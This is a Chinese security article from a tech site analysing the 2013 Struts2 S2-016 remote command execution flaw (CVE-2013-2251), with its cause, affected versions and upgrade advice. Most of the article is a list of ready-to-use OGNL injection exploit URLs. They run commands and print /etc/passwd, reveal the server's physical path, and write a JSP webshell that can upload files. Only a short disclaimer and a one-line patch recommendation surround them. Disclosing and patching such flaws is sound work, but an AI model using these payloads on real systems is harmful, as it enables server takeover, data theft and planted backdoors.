频道栏目
首页 > 安全 > 系统安全 > 正文

struts2远程命令执行漏洞(s2-016)分析及防范

2013-07-18 08:30:51      个评论       作者:阿德马
收藏   我要投稿
Struts2的官网在17号上午又公布了一个远程命令执行漏洞,随后各种版本的利用工具满天飞,对于wooyun和某些安全工程师童鞋来说,今天应该是备受压力和煎熬的一天!

 

17号上午11点空虚浪子心大牛的微博发了一条内容,随后经过各种大牛的转播,引爆了又一次的struts2远程命令执行漏洞换rank的浪潮!上一次struts2远程命令执行漏洞大爆发还要追溯到2012年5月份左右,同样wooyun上各种刷rank的,当时那些童鞋刷的rank如今已经升值很多了!1rank=10QB=10元rmb了.当时拼凑过一篇文章:http://www.2cto.com/Article/201206/138097.html

 

关于这次struts2远程命令执行漏洞(s2-016),官方是这样描述这个漏洞产生原因的:

 

Struts2的DefaultActionMapper支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致ongl表达式可以被执行。

 

空虚浪子新大牛是这么描述这个漏洞的:”在struts中,框架接收到的用户输入,除了参数、值以外,还有其他地方,比如文件名。这个漏洞,是struts2对url中的文件名做了解析,导致的ognl代码执行。”

 

该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15, CVE编号为:CVE-2013-2251

 

官方公布的漏洞利用poc细节如下:

 

1),简单表达式,ongl表达式被求值

 

http://www.nxadmin.com/struts2/x.action?%25(3*4)

 

http://www.nxadmin.com/struts2/save.action?redirect:%25(3*4)

 

2),命令执行

 

1,http://www.nxadmin.com/struts2/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

 

2,http://www.nxadmin.com/struts2/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

 

3,http://www.nxadmin.com/struts2/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

 

下面总结了一些漏洞利用的exp:

 

命令执行:

 

http://www.nxadmin.com/struts2/login.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

 

爆网站的物理路径:

 

http://www.nxadmin.com/struts2/login.action?redirect:${%23a%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23b%3d%23a.getRealPath(“/”),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}

 

getshell,写入jsp一句话:

 

http://www.nxadmin.com/struts2/login.action?redirect:${%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll(“\\\\”,”/”),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

 

以上利用方法转载自互联网,仅供学习了解struts2,不要用作非法,后果自负!

 

漏洞修复建议

 

官方强烈建议升级到struts2 2.3.15.1,该版本包含校正过的struts2核心库。

 

下载地址;http://struts.apache.org/download.cgi#struts23151

 

有能力的公司,建议还是自己开发框架,不开源.一般的小菜白帽子也不可能黑盒测试获取相关漏洞,不像struts2开源的,各种挖洞大神都可以去读代码挖洞!POC一公布又是各种利用工具,稍微懂点软件使用的小菜都可以横扫各大网站了

相关TAG标签 漏洞 命令
上一篇:Nginx多站点防止跨目录浏览
下一篇:Oracle入侵解析
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站